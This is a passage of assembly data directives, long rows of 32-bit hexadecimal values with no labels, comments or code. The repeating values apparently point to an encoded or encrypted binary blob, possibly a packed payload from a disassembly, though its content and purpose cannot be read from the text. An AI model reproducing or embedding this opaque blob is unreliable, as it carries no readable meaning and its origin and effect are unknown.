9F21177Dh dd 1F625006h, 6D9712BAh, 2E1AB51Eh, 1F620C86h, 0ABDD537Dh dd 262D0073h, 0A78B951Dh, 6DF07F8Eh, 1F621699h, 0F4C35C7Dh dd 9D9117E7h, 0FC8BC829h, 1F299778h, 0A1C2177Dh, 0FFC377D5h dd 1C1E89CCh, 0A4216E7Dh, 1F62501Eh, 1F626B82h, 34EBF87Dh dd 5EA12CE2h, 0A105F700h, 425F7297h, 0AE213010h, 1F62177Eh dd 1F626482h, 8650B07Dh, 0DD5A5EC9h, 3FE22BA2h, 0C79ECA98h dd 0F3208CEh, 0A2C34F2Eh, 0C439DA4h, 80233167h, 3E759506h dd 95CF58BBh, 2A759024h, 8D934B9Ah, 7664B08Fh, 43DC66B5h dd 0FF62501Ah, 1F626482h, 7A1237Dh, 344A9D61h, 0BFDC0C08h dd 0DAF18373h, 0F3B22390h, 0FFD55678h, 1C2289CCh, 0A4216E7Dh dd 1F625FA6h, 1F63AE82h, 6674367Dh, 6C1C25A4h, 28249E50h dd 1762177Dh, 0F6E482D3h, 0C949E450h, 0FB3CEE51h, 0E7E46D96h dd 2B97E3E1h, 97197266h, 9D9292A5h, 5E6B4229h, 4B9066BEh dd 0FF62501Ah, 1F63AE82h, 6C6A1D7Dh, 31898B88h, 2E2BD03Bh dd 4262177Dh, 6135420Eh, 16A13B7Ch, 5773B2E5h, 0F82E7065h dd 1C2689CCh, 0A4216E7Dh, 1F621750h, 1F621082h, 0BD8C6E7Dh dd 0D220718Ah, 6812129Ah, 0C53D21D4h, 37688B5Ch, 6D7B6E6Ch dd 1F626690h, 2196667Dh, 8062177Dh, 1F625019h, 46FC5463h dd 0D164E86Bh, 1F62501Ah, 0E6DBF1Ah, 1F621686h, 0ABCD5F7Dh dd 2583D109h, 1F6D8878h, 0A18E177Dh, 31BCC697h, 1F5D4D10h dd 43B1177Dh, 0F5110B54h, 41924C41h, 1F244CACh, 0DC5E177Dh dd 0B82AA9A8h, 6664CE76h, 0BF1ADCE9h, 0EC1FF341h, 91D3F7CAh dd 0A5CDF7CBh, 722A77C9h, 9762177Dh, 39305185h, 9DFB8913h dd 0F5E32EA2h, 0A1083DACh, 0F32130D5h, 1F625015h, 0FF92841Dh dd 23AE89CCh, 0A4216E7Dh, 1F62174Ah, 2F971095h, 8062177Dh dd 1F6250DFh, 0E7A6E199h, 9410A49Bh, 0A5DF4CA5h, 13148B5Dh dd 877A6E71h, 1F62177Ah, 0FCDE1940h, 0EA09D243h, 0A600520Eh dd 0EF0DEC42h, 9D911652h, 0F723C829h, 1F3317B9h, 0F996177Dh dd 9CBAAA49h, 66980107h, 725E92A2h, 40AF2CCh, 572A05Dh dd 0FFDCF6E9h, 23B289CCh, 0A4216E7Dh, 1F62174Ah, 1F26081Dh dd 0EA12177Dh, 610E423Dh, 4ED5D52Bh, 3DA8FAA3h, 479BE3BEh dd 0DE7368E7h, 0F8557847h, 40248B5Ch, 877A6E71h, 1F6250DFh dd 41924B85h, 396527ACh, 0B7DDE140h, 1F1C9DA3h, 7663177Dh dd 3B4A66B5h, 0FF62177Dh, 77AA9DAFh, 1F63AE83h, 8C357A7Dh dd 89532FDEh, 0F859FEB1h, 426089CCh, 0A4216E6Ch, 1F625FBDh dd 0BA249D1Dh, 0DE5DD8EBh, 0BB97E2BAh, 0FF1973DDh, 1F620A82h dd 244A677Dh, 0E9C3E95Dh, 1F62144Ch, 0F1F1147Dh, 1F1C8878h dd 517A177Dh, 3F0F0C99h, 0F7976715h, 0FF625019h, 0A1C35191h dd 42621E97h, 73DD6710h, 8062177Dh, 1F621763h, 9DFB8906h dd 5FE32EA2h, 1F625A7Ch, 740D027Dh, 8EAA304h, 1B061BA7h dd 4D185BAFh, 43FC53AFh, 1F4F242Dh, 1862177Dh, 877B3298h dd 1F621767h, 7145C2D5h dd 4DAD3ACBh, 5C50128Eh, 73619133h, 93B0D499h, 23F289CDh dd 0A4216E7Dh, 1F625FA9h, 1F63E378h, 997B177Dh, 3F08C64Fh dd 0A4215015h, 1F625FA3h, 1F148878h, 0A1C2177Dh, 1F3208C4h dd 0CCA0177Dh, 0A896863Fh, 0D9D04FEDh, 1BAC913Fh, 99C33002h dd 4216504Fh, 0AB215010h, 1F621769h, 0EAB09D1Dh, 64E204C5h dd 6C2B750Bh, 5262177Dh, 0ADC55173h, 5B6F321Ah, 51488591h dd 3F97E33Ch, 941972BBh, 9D9292A5h, 5E6B4229h, 724B66BEh dd 2E62177Dh, 1F621786h, 1EE3667Dh, 6262177Dh, 3F08CC99h dd 0F4976715h, 80625019h, 1F625010h, 83692B56h, 0CD48948Ch dd 1F1AB50Eh, 1F218878h, 0A021177Dh, 1F62501Bh, 0A3489491h dd 1F197306h, 1F768B78h, 2B2B177Dh, 6B62177Dh, 4FDB9DB1h dd 5A008B5Fh, 0A5216E6Fh, 1F62501Bh, 9D3A2592h, 47914229h dd 877A3FD5h, 1F625010h, 0A176AA35h, 0D971246h, 2E1AB50Bh dd 1F62FA86h, 1F4B667Dh, 9762177Dh, 2B408B5Dh, 0AE216E6Ch dd 1F62177Eh, 1F626482h, 0BEE6637Dh, 0B6E01B25h, 0C76F5E0Eh dd 0B1EF5BB1h, 4A5669FEh, 9D92A7AAh, 666B4229h, 0ABCD5BB3h dd 2583D1C5h, 1F558878h, 0AB21177Dh, 1F621763h, 0D15A3F1Dh dd 6D9D63F5h, 0A397E2BAh, 8019727Bh, 1F621767h, 0F55C3D83h dd 0F0636024h, 0A62584CCh, 0D99C9C16h, 6856B6A4h, 0E65D81A9h dd 84DCC166h, 64E31963h, 803A3A91h, 90605EBCh, 23C289CDh dd 0A4216E7Dh, 1F621755h, 1F228878h, 282B177Dh, 3762177Dh dd 0C935882Dh, 99C0CE4Ah, 98AD8C29h, 4EA26E20h, 4397E3CDh dd 901973DFh, 1F626583h, 0B0576E7Dh, 79504931h, 3D5CE72Ch dd 0F088E3DFh, 12E33F06h, 9D911666h, 518E2229h, 3F0F1C99h dd 45976715h, 2E62501Ah, 1F6250FDh, 0ABDD5F7Dh, 262D7D8Bh dd 1F626282h, 4DBFAD7Dh, 10FA6B8Dh, 53902AFh, 0AA691C6Dh dd 0FE1CB412h, 0ABCD3A86h, 2583D069h, 1ED38878h, 9BC2177Dh dd 0ABDD7693h, 262D173Bh, 1F5D8A78h, 2B2B177Dh, 0C262177Dh dd 0D4FCA69Fh, 9D9281A3h, 966B4229h, 252B5CA8h, 0A662177Dh dd 0D7A7FC36h, 0ABCD7EE0h, 2583D055h, 1EBE8878h, 0D0C2177Dh dd 54AA41C0h, 0FF23E2B2h, 0CC48B5Ch, 0FE876E71h, 1F14E078h dd 0FFC2177Dh, 388994AFh, 0D16474AAh, 1F62501Ah, 806DBF1Ah dd 1F625010h, 933C673Bh, 6D916261h, 1F62F899h, 1ECB4C7Dh dd 639E177Dh, 5AADAFC1h, 87F96154h, 9D914C25h, 2499671Ah dd 9862177Dh, 0BE884181h, 0F3DB951Bh, 0FFF92962h, 127489CCh dd 0A4216E71h, 1F621750h, 1F620A82h, 0C49EA47Dh, 0ABDF0FC4h dd 2583107Ch, 1F626282h, 1A21FE7Dh, 15954042h, 5BD22F1Dh dd 992B71B2h, 8791417Fh, 1F625012h, 0FA342732h, 87CB5B0Dh dd 1F621765h, 16D41AB5h, 8BF1A2C6h, 0ABCD5323h, 262DFAA7h dd 1EE38878h, 87C2177Dh, 1F625019h, 0D34B096Bh, 0A372FCECh dd 997B74A8h, 3F0EE64Fh, 0A4211515h, 1F625FB0h, 0AD9CBA1Dh dd 0F3FCB454h, 0F056B896h, 3A2A3019h, 6162177Dh, 0C440B0Ch dd 0AAB98CDCh, 7B48D9CFh, 0AD832A15h, 0F061A0CFh, 3BDD66BAh dd 8062177Dh, 1F62500Bh, 0B34A2A0Ch, 0EC13563Bh, 0CA1A243h dd 40887C88h, 9D3E3B7Fh, 1F260829h, 4B6C177Dh, 7DA846ECh dd 0E6273F1Dh, 76320855h, 1972F274h, 0ABC407A2h, 2583D189h dd 1EB08B78h, 5187177Dh, 3F0D3499h, 0F0976715h, 80625019h dd 1F621716h, 0FA8C1E1Bh, 777300E5h, 1DE1A8A1h, 370EE9Dh dd 80596402h, 9D9143F9h, 1ECB081Ah, 0D7B9177Dh, 0C75663EBh dd 6D8758D2h, 1F62165Fh, 78E3327Dh, 0D26C95D5h, 6D2A3FBAh dd 9162177Dh, 1CB88BB6h, 7CA12B01h, 1503C37Fh, 75E3DF60h dd 3568DAB5h, 803CDFB5h, 0E26518B4h, 1F62177Dh, 0A066BCE2h dd 0A1213294h, 1F621773h, 1F625982h, 0BF58F37Dh, 0C1B7C452h dd 53448ADDh, 0C78E741Fh, 49956E98h, 1F818B56h, 185F8878h dd 0E9C2177Dh, 1F625982h, 7BE15C7Dh, 0B1FBB02Ch, 872FB267h dd 8DAD98CCh, 9C7CF46Dh, 7B4C313Eh, 0F8276B72h, 229E89CCh dd 0A4216E7Dh, 1F6250C3h, 9EECE31Dh, 0F3C30020h, 0F6994996h dd 892B3919h, 8791417Dh, 1F621764h, 0E4F58398h, 0B1CD8C5Ah dd 0EBA74389h, 5A1F7A98h, 0B5971D41h, 2E1AB4ADh, 1F621E86h dd 0BD52777Dh, 1F620A82h, 5EDF7F7Dh, 0F3C37D86h, 0F64A1B96h dd 0D6213019h, 8E5112DAh, 81524CBBh, 0A621422Ah, 1F621760h dd 1F5F9578h, 252B177Dh, 5062177Dh, 0D8AE1B66h, 0ABC5EC9Eh dd 2583D3EDh, 1EF78878h, 0AA21177Dh, 1F621763h, 4E6B571Dh dd 6EDD6262h, 1D97E0B4h, 94623E5Ch, 1F1BD979h, 3A2B177Dh dd 3462177Dh, 53471228h, 0BF0AB63Bh, 98AEF196h, 3241F9FDh dd 878F7A57h, 9D9142ADh, 1F2C9779h, 0F5C2177Dh, 1ECA4CB1h dd 0C208177Dh, 0D436E045h, 6DC35C35h, 1F626CFDh, 1ECA4C7Dh dd 0D8FC177Dh, 46A9172Ch, 0A06504BAh, 0A1D928D5h, 6A9CB40Ah dd 1F625017h, 0BC16951Dh, 8014190Ch, 1F625012h, 875557ABh dd 0FF1F55F9h, 456097A4h, 0E96D76D1h, 51C83E4Bh, 0F0E504A6h dd 0E66B1E2h, 1F626B97h, 0ACDC777Dh, 76A0BB94h, 21C312A8h dd 0C971083h, 2E62501Ah, 1F62665Ch, 20DE667Dh, 8062177Dh dd 1F625010h, 0C3B7E899h, 800308EAh, 0AB21422Ah, 1F6250DFh dd 1EA1671Dh, 0D162177Dh, 72DEA441h, 0DD782FBAh, 357A02A6h dd 2AB7C4C2h, 64E321ABh, 357A02A0h, 1F63AE82h, 83E5557Dh dd 297C1773h, 0EC21F94Eh, 1F621763h, 1F19081Dh, 2B18177Dh dd 0FFE027CFh, 0A1083256h, 0DB4B3021h, 262D32E2h, 1F19EC78h dd 202B177Dh, 3862177Dh, 3D32185Fh, 73277D45h, 2B462E86h dd 80197319h, 1F625012h, 6670C1C8h, 9EE9028Fh, 0A4214C64h dd 1F62147Ah, 6ED6BA1Dh, 0FF8E9E7Ah, 0FA1CB928h, 5F5A264Ch dd 4B6E1467h, 98713306h, 5F5BD099h, 5E217767h, 81E3693Bh dd 0FBFCC6A3h, 4883A74Eh, 2B7754AEh, 98174CDAh, 2762E487h dd 3810C16h, 65E35F1Bh, 35CDB746h, 1F5FEE78h, 0D6C2177Dh dd 6D3B2FF8h, 1F62EC78h, 0F4C3177Dh, 99B6725Ch, 0A1210BD2h dd 1F621767h, 1F626582h, 0F1C2847Dh, 6A512337h, 8DDE611Ah dd 1651674Fh, 7642435h, 5C772EE7h, 9FE45EBEh, 3EB78978h dd 0BFD595DCh, 986089A0h, 55E59E80h, 0F0E7ECA6h, 0DEFDEA9Ah dd 8B9CB604h, 41ADCC1Fh, 5F624297h, 521CB614h, 0E3CD5348h dd 262D32E2h, 1EB59578h, 518E177Dh, 0E7A8108Fh, 2E625019h dd 1F626397h, 1F5F4C7Dh, 0C1BD177Dh, 0F0270C76h, 0C9536F00h dd 9B43125Bh, 9D2B1F83h, 1F320829h, 0BA11177Dh, 0BF538683h dd 56882DE1h, 0B515CBBBh, 2F2B4793h, 0BB62177Dh, 92DB6792h dd 2B9D4139h, 0C0820CDEh, 0E5141C1Ah, 4738935Ch, 0AE216E71h dd 1F62176Fh, 8739851Dh, 1F621716h, 34232ECEh, 0C750434Ah dd 0B84B7864h, 0FC33DE64h, 0F05D855Eh, 2CD83FBAh, 7790AEBAh dd 1F197263h, 0A362177Dh, 0DB4B5D1Ah, 262D1416h, 1F324D1Dh dd 597B177Dh, 59EC5093h, 10ADFB96h, 0AF0A3D08h, 87C319A8h dd 1F6250DFh, 6B9E3CC0h, 6BCA313Dh, 5365AE29h, 1EBEFCF8h dd 99216E77h, 1F621767h, 1F182F78h, 202B177Dh, 5F62177Dh dd 0D990A1AEh, 4A890C40h, 1F190837h, 1308177Dh, 2B0F49FFh dd 87E516A8h, 1F62500Bh, 2E101549h, 5C55431Fh, 91A0FCAEh dd 73FDB4Ah, 0AB2290DDh, 1F625FAEh, 0F12B3A91h, 94625019h dd 0F93EF35Fh, 9D7A6E79h dd 0CD951225h, 6D914228h, 1F620A93h, 0A187777Dh, 0A17A30D5h dd 42160847h, 87E33010h, 1EC650E5h, 0FF8A5678h, 26D484E2h dd 0F37A6E6Ch, 3EDAF4EEh, 1F324D15h, 0A367177Dh, 19BCC7C2h dd 85B3E22Fh, 56CCB29Dh, 69916E84h, 6451671Bh, 30EF92B9h dd 0ABDD38BAh, 262D32E3h, 1F622F78h, 0A78E177Dh, 42160A97h dd 1F946710h, 0A362177Dh, 1F5E4CBBh, 21EC177Dh, 75C4A525h dd 6BC0D0Bh, 5CE38C42h, 7697117Ch, 2E62177Bh, 1F625B5Fh dd 1F324C7Dh, 2CCD177Dh, 0FC404FDEh, 4ACE8B7Dh, 0A496F53Bh dd 0F4C2DF38h, 55A771Fh, 99FCA15Dh, 31D3AC4Fh, 0AB215010h dd 1F6217F1h, 0EBD823B6h, 94E3A127h, 0F091283Fh, 724A1091h dd 8062177Dh, 1F625012h, 358BD6FBh, 0C07A5AE5h, 5F34B9B9h dd 9147571Bh, 0EFC37C58h, 664B3D1Fh, 1F9066ACh, 9762177Dh dd 5E55C417h, 5BF60107h, 976AF083h, 95C77417h, 0D8060119h dd 6DC3BBC8h, 8FDD17E8h, 2A3B24BBh, 2462177Dh, 0CD812DAFh dd 0F17FE8C2h, 0F701471Bh, 0DA46B9B9h, 1F5D0833h, 0E68C177Dh dd 6E527B91h, 0B2F19BFDh, 6DFD75FCh, 1F621694h, 222B5C7Dh dd 0FF625006h, 1F626341h, 0BF0C017Dh, 674EA103h, 0DB11054Bh dd 9CDCECAEh, 0F2881B3h, 0F3FCC11Fh, 3F791DEEh, 4C23015h dd 0A109BE5Dh, 292B30D5h, 0DA62177Dh, 18F0239Eh, 8352B28Dh dd 4CBF3C41h, 0D4BA2E4Ch, 87FCCC69h, 1F62176Dh, 71131967h dd 837F03FCh, 0DA65289Fh, 0E7415F74h, 698AB254h, 1F11E07Ah dd 0F321177Dh, 1F62501Ah, 3EAFE292h, 0FF1AB691h, 0FF1CE2AFh dd 6C24A628h, 6762177Dh, 536CD48Bh, 0B9DECFCAh, 0C1AD83F7h dd 6D2263DBh, 1F63D386h, 0D621777Dh, 70E36928h, 87FCC750h dd 1F625FA7h, 1F626582h, 0F24D5D7Dh, 0E1F001CEh, 633ECF96h dd 2418085Eh, 36996703h, 8062177Dh, 1F621716h, 7A03A3A1h dd 239BA1A7h, 0F6EA329Eh, 0D3A6BC2Dh, 99B6D3B6h, 42160A97h dd 6DC20910h, 1F6216F8h, 6449667Dh, 2D2B768Fh, 0FE914227h dd 1D849691h, 0FF9C27D5h, 0A3F7F35Eh, 0A6216E7Bh, 1F62177Ah dd 1F28E078h, 9F21177Dh, 1F625006h, 1F5F081Dh, 5741177Dh dd 795C80F9h, 0BA386A5Dh, 9EB00552h, 9869E8C9h, 2E4E8A3Eh dd 69917459h, 9F217593h, 1F62500Ch, 4F84EE9Ah, 5E210881h dd 5F5D3031h, 1EBC887Ah, 262B177Dh, 2162177Dh, 642586E8h dd 9473DD03h, 1F621C83h, 26E3667Dh, 2E62177Dh, 1F6215F8h dd 0F5C3777Dh, 1F6214E8h, 0A18C147Dh, 6A96AB6Ah, 87C33017h dd 1F62172Ah, 1F626482h, 63955A7Dh, 3BF9D16Eh, 8A47E4D5h dd 0FE2CCD04h, 0EFA5A682h, 0F93EF35Eh, 9D7B6E79h, 48951225h dd 80625014h, 1F62500Bh, 6CAE3DCh, 89C1E3B0h, 419323BFh dd 0CEDD3A63h, 2B177B5Ch, 877B6E6Ch, 1F620358h, 65D6BA1Dh dd 59D6BA56h, 0ED2174B1h, 1F62501Ah, 2BDFEC95h, 97197319h dd 2B1084E3h, 272B6E6Ch, 3262177Dh, 8100F06Ch, 0F814A1F1h dd 0F858821Fh, 7482BA60h, 0AAFD4794h, 881CA50Dh, 9F930CA8h dd 0BA2C3E83h, 1F104CAEh, 9F7B177Dh, 95E10C95h, 41F2708Ch dd 0AA426C0Ch, 0A59F0E91h, 0FEF30883h, 1F179578h, 0D708177Dh dd 9FC36B07h, 355FF994h, 0A5E9947Ah, 401B0AB9h, 0A570D038h dd 981B0AB9h, 355FFBCCh, 0A187777Ah, 0CA85303Eh, 1F2517B9h dd 0F9A6177Dh, 0BC86FF99h, 0BF8144A9h, 0AF169F1Eh, 0A8F59AC2h dd 2BD9D0D2h, 0F764624Eh, 0DE109DAFh, 0A2224CBAh, 0F37B4229h dd 3EEDB8EEh, 69915C15h, 5AE3688Fh, 0BCF90B70h, 4B16E3DCh dd 54164999h, 21A1CF10h, 1F626F82h, 9FA3767Dh, 8F495E3Ah dd 8D567DE6h, 96CD4BEDh, 473888BDh, 0A77B6E71h, 367E4297h dd 60E33010h, 55FDD423h, 0F7E0E2A3h, 5397E2BAh, 941972BCh dd 9F71ECA1h, 1F620BD1h, 2A7A947Dh, 0A662177Dh, 0A06FAB6Ah dd 0F474AB6Ah, 64E3E9E2h, 1F625017h, 0A6164F94h, 0A06FB4C2h dd 0F38FB412h, 3EEE5C5Eh, 0FEC25C15h, 46BDA852h, 1F174C4Dh dd 0F5D4177Dh, 0FF020026h, 74ED94AFh, 6F917446h, 0D008301Bh dd 0F065B2DDh, 9F083FBAh, 0E58597Ch, 0FFFCAE40h, 3E8C8B5Ch dd 0AE216E71h, 1F62176Bh, 1F626182h, 134B497Dh, 6644E114h dd 6F4421B6h, 8B4B1910h, 1F164A94h, 53E3177Dh, 1F625017h dd 2B60190h, 6DB60BE3h, 1F627C5Bh, 6C2B777Dh, 0B062177Dh dd 0F8E8A0A5h, 0D2103A00h, 0F004132Ah, 396A9F32h, 0F4C30FD9h dd 64E3E9E2h, 1F625017h, 0A6164F94h, 0A06FB4C2h, 2624AB6Ah dd 0CF62177Dh, 0B655DA4h, 0AE9F76A7h, 1D3780B1h, 0AF31B537h dd 35AB1D57h, 0B76A9C9Ah, 306AA5BEh, 15DC219Ah, 146420C9h dd 3B7291DDh, 0F86A9C9Ah, 6C4D4F23h, 0D73488B7h, 8AAD20B4h dd 4F61BAEDh, 306A9D2Ch, 7D501399h, 0EE1A24C8h, 1FDDF4A0h dd 2FC0BA06h, 0AC68ED4Fh, 306A9C8Dh, 3027299Fh, 3B779C9Ah dd 2B6A9C9Ah, 3276B10Dh, 354C18E5h, 0AF6A9C9Ah, 4138B932h dd 306AA5B3h, 0D0897C9Ah, 307580DCh, 290E9C9Ah, 0FB2022F8h dd 0BC0B84E5h, 73667BE6h, 8E92676Ch, 76567587h, 1DA7157Bh dd 35A42791h, 4F6A9C9Ah, 306A9C83h, 0F384140Dh, 1C7458C1h dd 29DCAE1Dh, 60808E9h, 0C0B2431Fh, 2161BEFDh, 306AD57Bh dd 30768F9Ah, 0E3899C9Ah, 296A2FA2h, 706F24DCh, 70D24EBBh dd 36A463C5h, 0FC9F1996h, 297DB8BCh, 89E6A99Ah, 4F6A9D3Eh dd 306A9D37h, 9E7A110Eh, 7CE52EC1h, 4F61BEEAh, 306A9C9Dh dd 3ADD9A8Bh, 82E59461h, 263706D4h, 0D7715EEh, 1EC51CB4h dd 30768037h, 66AB9C9Ah, 4E3495A6h, 0D7B7288Eh, 6800BC40h dd 0A88D11FBh, 70DC643Ch, 303D369Dh, 0B98A9C9Ah, 935E173Dh dd 7A73D2E0h, 0D08E5C1Ah, 15E1197Ah, 0B8AA1B6h, 0EF50D035h dd 368910D8h, 1EC51CB1h, 2BA8AA37h, 216A9C9Ah, 306AA9B7h dd 302D8F9Ah, 0E9189C9Ah, 615ABFA9h, 6D8BF61Ah, 0E0E5201Bh dd 2161BEF8h, 306AAE05h, 3BA8A99Ah, 216A9C9Ah, 306A99BEh dd 30B88F9Ah, 0E41B9C9Ah, 74E9F904h, 306A9D30h, 0A96680B3h dd 0AF3EB9FAh, 0E01EB89Ah, 4DC54DBCh, 0AD793D1Bh, 75E5B932h dd 0C84EA430h, 3277AD11h, 4F6A9C9Ah, 960F4DCEh, 0F2D89898h dd 452A7DE3h, 33A535Eh, 0C2198F4Fh, 4103A53Ch, 306AB71Fh dd 48E97C9Ah, 0D7266B41h, 300EB019h, 140C2F9Ah, 30699A6Ch dd 0DC72AF9Ah, 71687DD1h, 0D08E7AFAh, 2137D4Dh, 0C2198F4Fh dd 41348DE4h, 30695F02h, 30288F9Ah, 8F1F9C9Ah, 0A2B82696h dd 28B31C27h, 80DD1905h, 0AC69A188h, 306A9D2Fh, 31E1AA3Ah dd 486A9C9Ah, 306A9C83h, 16547607h, 0F691FEB5h, 3E067B4Ah dd 2F212A0Fh, 0B98E7306h, 31AD243Ch, 0D18AA18Bh, 32B7D99Eh dd 306A9A78h, 488F879Ah, 306A9C83h, 53540228h, 0B3BBA81Ah dd 2BF36590h, 9DC87E02h, 0B0EAE2FFh, 3061BD90h, 4F6A9C9Ah dd 306A9D37h, 5B908C8Bh, 4F280041h, 306A9D2Ch, 0B97174FFh dd 67E4B6Bh, 0B689E3DEh, 4BE3FC29h, 6FE1D3D3h, 0D0065EC8h dd 307A9D19h, 0DB897C9Ah, 7AEFA77Ah, 865B16FFh, 4EE917DAh dd 0EA89F312h, 7AEF9704h, 306A9D30h, 0A966BEB3h, 0AF3EB88Ah dd 488AB89Ah, 306A9DF9h, 2CA9B833h, 0CD30F506h, 49B48A19h dd 306A9DF8h, 31E9791Dh, 9FA349B0h, 3F0ABB39h, 306AADA2h dd 314B0E9Ah, 0F6D59853h, 3F3D0430h, 0CF8E73CFh, 27767D31h dd 86A9C9Ah, 0FB443C27h, 50F0FB92h, 0F9C8D4ABh, 1B133D60h dd 53E91768h, 0C28E6925h dd 1D312500h, 0A419B537h, 297DA09Dh, 30695EA5h, 0EFA4109Ah dd 77F5EA67h, 0E20947D1h, 0C00FDF34h, 15E11904h, 0A869A1B6h dd 306A9D3Dh, 0E0E544B2h, 0B861BEF8h, 0E0C6AE7Ah, 70E9FD04h dd 306A9D30h, 0A965DCB3h, 0B83EB89Ah, 333FC94Eh, 0C202A18Bh dd 1ECA8860h, 0A1687D37h, 306A9DF8h, 306AA9A2h, 0BEC14A9Ah dd 0C016B2C2h, 814686BAh, 0A7BA5F3Bh, 0E78F9519h, 77E9F804h dd 306A9D30h, 30668FBDh, 25E19C9Ah, 7D56709Eh, 0B0E37C97h dd 49FA6FEBh, 306A9C9Dh, 18DD3D23h, 0BD5BB124h, 79438805h dd 0C30D5A31h, 2E7678D4h, 56A9C9Ah, 0CDA3431h, 0A9C525E0h dd 4633131h, 297C6499h, 31C8259Fh, 488A9C9Ah, 306A9DFBh dd 0DF8ACD82h, 2DB9C9BEh, 302DA547h, 0E229C9Ah, 967AA28Bh dd 0F1B7A702h, 0AC1D78E8h, 111BAFB1h, 30648032h, 39C89C9Ah dd 0E780A449h, 5A622BA8h, 4C973573h, 0BA68EA4Dh, 306A9D3Ch dd 0B0B39D56h, 2161BD90h, 306AB779h, 0D0897C9Ah, 0D0B9D19Eh dd 333ED17Ah, 2077A18Bh, 9F6A9C9Ah, 9B06992Dh, 886AD728h dd 0A88340B1h, 59CB0109h, 0C05522A7h, 0B861BEFDh, 257145A2h dd 6E6A9C9Ah, 6B88070Bh, 5AD601B4h, 64752B7Fh, 0EFC48BF9h dd 0AEAE22F5h, 1D697861h, 30758037h, 75E89C9Ah, 89D52004h dd 122F5A5Eh, 997308C3h, 6CEAC5Dh, 0E702CCCBh, 0C219916Fh dd 7A109D4Eh, 306A9D3Ah, 14742D9Ah, 3065E5B0h, 25779C9Ah dd 726A9C9Ah, 0EBB2BD94h, 0CD0DF89Ch, 3708512Dh, 3737A5F7h dd 7018C03Dh, 0E407995Ch, 2A65A268h, 11151832h, 3703A6B9h dd 140C22A2h, 3065E5B0h, 328A9C9Ah, 30695F66h, 30288F9Ah dd 42E59C9Ah, 0DCBF2EAFh, 0F010A646h, 0BB647CB4h, 297C4C10h dd 306AA2A5h, 1A10EA9Ah, 2085EA33h, 0AA9D8E6h, 3339217Bh dd 2977A18Bh, 9D6A9C9Ah, 0F3AF4B0Bh, 0E09452A3h, 0D73CF5C1h dd 0F5DE5B93h, 0C1229895h, 0DED81831h, 0D1225FDCh, 0B5D927Fh dd 0D0C828DAh, 17577D58h, 0A3AB18D7h, 0FBA07CADh, 1633C64Dh dd 0BDF218DCh, 1E1071BDh, 691D6BBDh, 60EEA671h, 0FD3591DEh dd 0C2198EA9h, 86EF963Ch, 0BC4AFF0Bh, 0B7347DCAh, 9D32ECBFh dd 6BEE732Ah, 24B7925Bh, 0D05520DDh, 0D061BE31h, 134FFFBCh dd 0F968784Ah, 0B9E47D44h, 66EA5F4Eh, 0B86A9C9Ch, 306AB5A4h dd 0BACF369Ah, 8A3EF85Ah, 75A35B64h, 11D98450h, 1D2A87F2h dd 5CDA18CAh, 32BDF1EFh, 306AC0B1h, 0B5E7C9Ah, 0E48F95C3h dd 0FF296019h, 0C4EE7CE3h, 87465DC4h, 41024C02h, 306AAE05h dd 3BE9A99Ah, 216A9C9Ah, 306A99B3h, 33A759Ah, 0DE6B34ADh dd 134880BCh, 4CE91BA0h, 2BF01E1Fh, 74E9F0A7h, 0DEA06537h dd 9B86D8BCh, 4E510248h, 0DEB4986Fh, 3052449Eh, 0DB8A9C9Ah dd 2D778D7Ah, 606A9C9Ah, 5A372191h, 6E52EBA2h, 0D010FC71h dd 306AB5A4h, 2958FA9Ah, 21D37A07h, 22CD9E4Ch, 89696EC6h dd 67CC6D14h, 0D05520F2h, 0D061BE31h, 32F78DB1h, 306AA7B0h dd 0D08E7C9Ah, 0C2B089A4h, 2EAF5F4Eh, 4F6A9C9Ah, 306A9D3Eh dd 0C32B4656h, 71A9FC4Ch, 30338031h, 0C9E09C9Ah, 0E89CB3ADh dd 0D8454BB5h, 36A1AC71h, 1ECA38B1h, 26767D37h, 0C56A9C9Ah dd 4D01331Bh, 41144E4Eh, 6411047Bh, 0B8D7EB61h, 0A168E601h dd 306A9D33h, 0D0012ED4h, 0E9ED0B2h, 216FA1B6h, 30644DBEh dd 83EFB49Ah, 8F88C359h, 31B0239Fh, 0A9699C9Ah, 306A9C8Dh dd 306AADA5h, 0ACF1AD9Ah, 19321321h, 5D9D95FDh, 3558727Ah dd 0B76A9C9Ah, 9913B0B3h, 0B01498D5h, 9913B1EBh, 48897AD5h dd 306A9C81h, 0A7434EC6h, 0D2677586h, 7E845CE7h, 0A2010FF5h dd 32084448h, 0E78EE367h, 0C219916Fh, 9C4E1D4Eh, 3B0E45E3h dd 9CA61CA0h, 750E45E3h, 306A9D3Ah, 801D729Ah, 80A04CABh dd 0F96879ABh, 67C9DFAAh, 0B08E7040h, 306AA5BDh, 147C2F9Ah dd 0B9528062h, 827790CAh, 4F6A9D33h, 306A9C9Fh, 0D7C1C686h dd 9B02C9E4h, 0D7B4D0C4h, 31D280C8h, 0E4639C9Ah, 1F943343h dd 0B738366Eh, 306AA5BDh, 15DC2F9Ah, 0E01D7AD5h, 0A36026Ch dd 0DF1F99BDh, 4126E279h, 306A9D79h, 88F29F9Ah, 0AF6A9D6Fh dd 0AE69B932h, 306A9C89h, 4F21723Ah, 306A9C80h, 3B606D9Ah dd 0CE13B86Dh, 0C51EFFA5h, 8C9A0C5Bh, 4DBA1A13h, 0BC5D26D3h dd 3761BE31h, 314C189Fh, 0B7699C9Ah, 306A9DFFh, 0E730CF3Ah dd 6AE96BD4h, 0E61D7D4Eh, 306F9D6Ah, 0AEA02F9Ah, 75EFB92Ah dd 306A9D30h, 8E5D1AB2h, 3061B8CAh, 31DD189Fh, 0B5699C9Ah dd 306A9DFBh, 306AACA5h, 0DD09A69Ah, 3143C0F5h, 0EB085019h dd 87F0AAAAh, 44B7D77Fh, 0E2DA0446h, 0D87685F0h, 6A62FEF3h dd 0D836062Dh, 9ABDFEF3h, 5468EE70h, 0BA1057CFh, 59B6DD7Dh dd 5C708EE1h, 0D875FEF3h, 7C2763C7h, 0DD52FE5Ch, 0D87E56FFh dd 117AFEF3h, 0AB0DDA6h, 0BD1841DDh, 0F09A0449h, 0D875FE14h dd 891C7CC7h, 0D9F07CF1h, 5474FEF3h, 0D875FE53h, 63542BCEh dd 63AAF5D4h, 0F73507D4h, 0D875FEE9h, 8B1B3E69h, 817B2FCAh dd 0D8F80B3Eh, 6475FEF3h, 81DAB721h, 0D87947D3h, 8395FEF3h dd 0D072F115h, 6B75FEF3h, 74BDC800h, 5578C8FBh, 619BF1B3h dd 0D87544CBh, 0DDB0F5F3h, 0FF53CCFFh, 0D87939DCh, 1FFAFEF3h dd 0D875FE5Ah, 85D917D8h, 0D8750ECBh, 97EDCCF3h, 